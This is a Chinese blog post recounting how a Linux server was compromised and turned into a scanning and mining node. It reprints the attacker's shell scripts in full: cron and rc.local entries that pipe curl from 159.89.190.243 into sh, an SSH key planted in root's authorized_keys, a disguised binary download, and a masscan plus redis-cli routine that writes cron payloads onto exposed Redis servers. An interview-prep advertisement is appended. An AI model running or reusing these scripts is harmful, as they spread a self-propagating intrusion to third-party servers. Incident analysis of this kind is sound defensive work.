记一次Linux被入侵,服务器变“矿机”全过程,2024年最新2024我的Linux运维大厂面试之旅

服务器 0

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看到了在半夜%2012%20点左右,在服务器上装了很多软件,其中有几个软件引起了我的注意,下面详细讲。

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边找边猜,如果我们要做坏事,大概会在哪里做文章,自动启动?定时启动?对,计划任务:

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crontab%20-e

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果然,线索找到了。

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**%2002%20作案动机%20**

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上面的计划任务的意思就是每%2015%20分钟去服务器上下载一个脚本,并且执行这个脚本。

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我们把脚本下载下来看一下:

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curl%20-fsSL%20159.89.190.243/ash.php%20>%20ash.sh

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脚本内容如下:

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uname%20-a

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id

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hostname

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setenforce%200%202>/dev/null

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ulimit%20-n%2050000

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ulimit%20-u%2050000

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crontab%20-r%202>/dev/null

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rm%20-rf%20/var/spool/cron/*%202>/dev/null

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mkdir%20-p%20/var/spool/cron/crontabs%202>/dev/null

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mkdir%20-p%20/root/.ssh%202>/dev/null

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echo%20'ssh-rsa

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AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx

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redisX’%20>%20/root/.ssh/authorized_keys

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echo%20‘*/15%20*%20*%20*%20*%20curl%20-fsSL%20159.89.190.243/ash.php|sh’%20>%20/var/spool/cron/root

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echo%20‘*/20%20*%20*%20*%20*%20curl%20-fsSL%20159.89.190.243/ash.php|sh’%20>%20/var/spool/cron/crontabs/root

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yum%20install%20-y%20bash%202>/dev/null

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apt%20install%20-y%20bash%202>/dev/null

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apt-get%20install%20-y%20bash%202>/dev/null

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bash%20-c%20‘curl%20-fsSL%20159.89.190.243/bsh.php|bash’%202>/dev/null

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**大致分析一下该脚本的主要用途:**首先是关闭%20SELinux,解除%20Shell%20资源访问限制,然后在%20/root/.ssh/authorized_keys%20文件中生成%20SSH%20公钥。

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这样每次黑客登录这台服务器就可以免密码登录了,执行脚本就会方便很多。

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接下来安装%20Bash,最后是继续下载第二个脚本%20bsh.php,并且执行。继续下载并分析%20bsh.pbp,内容如下:

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sleep%20$(%20seq%203%207%20|%20sort%20-R%20|%20head%20-n1%20)

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cd%20/tmp%20||%20cd%20/var/tmp

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sleep%201

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mkdir%20-p%20.ICE-unix/…%20&&%20chmod%20-R%20777%20.ICE-unix%20&&%20cd%20.ICE-unix/…

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sleep%201

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if%20[%20-f%20.watch%20];%20then

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rm%20-rf%20.watch

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exit%200

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fi

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sleep%201

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echo%201%20>%20.watch

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sleep%201

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ps%20x%20|%20awk%20‘!/awk/%20&&%20/redisscan|ebscan|redis-cli/%20{print%20$1}’%20|%20xargs%20kill%20-9%202>/dev/null

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ps%20x%20|%20awk%20‘!/awk/%20&&%20/barad_agent|masscan|.sr0|clay|udevs|.sshd|xig/%20{print%20$1}’%20|%20xargs%20kill%20-9%202>/dev/null

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sleep%201

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if%20!%20[%20-x%20/usr/bin/gpg-agentd%20];%20then

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curl%20-s%20-o%20/usr/bin/gpg-agentd%20159.89.190.243/dump.db

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echo%20‘/usr/bin/gpg-agentd’%20>%20/etc/rc.local

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echo%20‘curl%20-fsSL%20159.89.190.243/ash.php|sh’%20>>%20/etc/rc.local

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echo%20‘exit%200’%20>>%20/etc/rc.local

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fi

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sleep%201

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chmod%20+x%20/usr/bin/gpg-agentd%20&&%20/usr/bin/gpg-agentd%20||%20rm%20-rf%20/usr/bin/gpg-agentd

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sleep%201

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if%20!%20[%20-x%20“$(command%20-v%20masscan)”%20];%20then

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rm%20-rf%20/var/lib/apt/lists/*

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rm%20-rf%20x1.tar.gz

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if%20[%20-x%20“$(command%20-v%20apt-get)”%20];%20then

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export%20DEBIAN_FRONTEND=noninteractive

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apt-get%20update%20-y

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apt-get%20install%20-y%20debconf-doc

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apt-get%20install%20-y%20build-essential

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apt-get%20install%20-y%20libpcap0.8-dev%20libpcap0.8

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apt-get%20install%20-y%20libpcap*

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apt-get%20install%20-y%20make%20gcc%20git

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apt-get%20install%20-y%20redis-server

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apt-get%20install%20-y%20redis-tools

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apt-get%20install%20-y%20redis

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apt-get%20install%20-y%20iptables

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apt-get%20install%20-y%20wget%20curl

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fi

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if%20[%20-x%20“$(command%20-v%20yum)”%20];%20then

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yum%20update%20-y

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yum%20install%20-y%20epel-release

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yum%20update%20-y

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yum%20install%20-y%20git%20iptables%20make%20gcc%20redis%20libpcap%20libpcap-devel

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yum%20install%20-y%20wget%20curl

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fi

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sleep%201

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curl%20-sL%20-o%20x1.tar.gz%20https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz

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sleep%201

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[%20-f%20x1.tar.gz%20]%20&&%20tar%20zxf%20x1.tar.gz%20&&%20cd%20masscan-1.0.4%20&&%20make%20&&%20make%20install%20&&%20cd%20…%20&&%20rm%20-rf%20masscan-1.0.4

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fi

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sleep%203%20&&%20rm%20-rf%20.watch

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bash%20-c%20‘curl%20-fsSL%20159.89.190.243/rsh.php|bash’%202>/dev/null

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这段脚本的代码比较长,但主要的功能有%204%20个:

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    下载远程代码到本地,添加执行权限,chmod%20u+x。

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    修改%20rc.local,让本地代码开机自动执行。

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  • %20

    下载%20Github%20上的开源扫描器代码,并安装相关的依赖软件,也就是我上面的%20Messages%20里看到的记录。

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  • %20

    下载第三个脚本,并且执行。

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我去%20Github%20上看了下这个开源代码,简直吊炸天:

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Transmitting%2010%20Million%20Packets%20Per%20Second(每秒发送%201000%20万个数据包),比%20nmap%20速度还要快,这就不难理解为什么阿里云把服务器冻结了。

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大概看了下%20Readme%20之后,我也没有细究,继续下载第三个脚本:

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setenforce%200%202>/dev/null

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ulimit%20-n%2050000

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ulimit%20-u%2050000

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sleep%201

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iptables%20-I%20INPUT%201%20-p%20tcp%20--dport%206379%20-j%20DROP%202>/dev/null

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iptables%20-I%20INPUT%201%20-p%20tcp%20--dport%206379%20-s%20127.0.0.1%20-j%20ACCEPT%202>/dev/null

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sleep%201

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rm%20-rf%20.dat%20.shard%20.ranges%20.lan%202>/dev/null

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sleep%201

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echo%20‘config%20set%20dbfilename%20“backup.db”’%20>%20.dat

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echo%20‘save’%20>>%20.dat

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echo%20‘flushall’%20>>%20.dat

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echo%20‘set%20backup1%20“/n/n/n*/2%20*%20*%20*%20*%20curl%20-fsSL%20http://159.89.190.243/ash.php%20|%20sh/n/n”’%20>>%20.dat

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echo%20‘set%20backup2%20“/n/n/n*/3%20*%20*%20*%20*%20wget%20-q%20-O-%20http://159.89.190.243/ash.php%20|%20sh/n/n”’%20>>%20.dat

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echo%20‘set%20backup3%20“/n/n/n*/4%20*%20*%20*%20*%20curl%20-fsSL%20http://159.89.190.243/ash.php%20|%20sh/n/n”’%20>>%20.dat

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echo%20‘set%20backup4%20“/n/n/n*/5%20*%20*%20*%20*%20wget%20-q%20-O-%20http://159.89.190.243/ash.php%20|%20sh/n/n”’%20>>%20.dat

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echo%20‘config%20set%20dir%20“/var/spool/cron/”’%20>>%20.dat

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echo%20‘config%20set%20dbfilename%20“root”’%20>>%20.dat

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echo%20‘save’%20>>%20.dat

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echo%20‘config%20set%20dir%20“/var/spool/cron/crontabs”’%20>>%20.dat

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echo%20‘save’%20>>%20.dat

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sleep%201

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masscan%20--max-rate%2010000%20-p6379,6380%20--shard%20$(%20seq%201%2022000%20|%20sort%20-R%20|%20head%20-n1%20)/22000%20--exclude%20255.255.255.255%200.0.0.0/0%202>/dev/null%20|%20awk%20‘{print%20$6,%20substr($4,%201,%20length($4)-4)}’%20|%20sort%20|%20uniq%20>%20.shard

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sleep%201

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while%20read%20-r%20h%20p;%20do

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cat%20.dat%20|%20redis-cli%20-h%20$h%20-p%20$p%20--raw%202>/dev/null%201>/dev/null%20&

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done%20<%20.shard

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sleep%201

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自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

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深知大多数Linux运维工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

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总计 1000+ 道面试题, 内容 又全含金量又高

  • 174道运维工程师面试题

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3、现在给你三百台服务器,你怎么对他们进行管理?

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5、LVS、Nginx、HAproxy有什么区别?工作中你怎么选择?

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9、讲述一下Tomcat8005、8009、8080三个端口的含义?

10、什么叫CDN?

11、什么叫网站灰度发布?

12、简述DNS进行域名解析的过程?

13、RabbitMQ是什么东西?

14、讲一下Keepalived的工作原理?

15、讲述一下LVS三种模式的工作过程?

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17、如何重置mysql root密码?

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择?

8、什么是中间件?什么是jdk?

9、讲述一下Tomcat8005、8009、8080三个端口的含义?

10、什么叫CDN?

11、什么叫网站灰度发布?

12、简述DNS进行域名解析的过程?

13、RabbitMQ是什么东西?

14、讲一下Keepalived的工作原理?

15、讲述一下LVS三种模式的工作过程?

16、mysql的innodb如何定位锁问题,mysql如何减少主从复制延迟?

17、如何重置mysql root密码?

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-a1vStEgD-1713091365216)]

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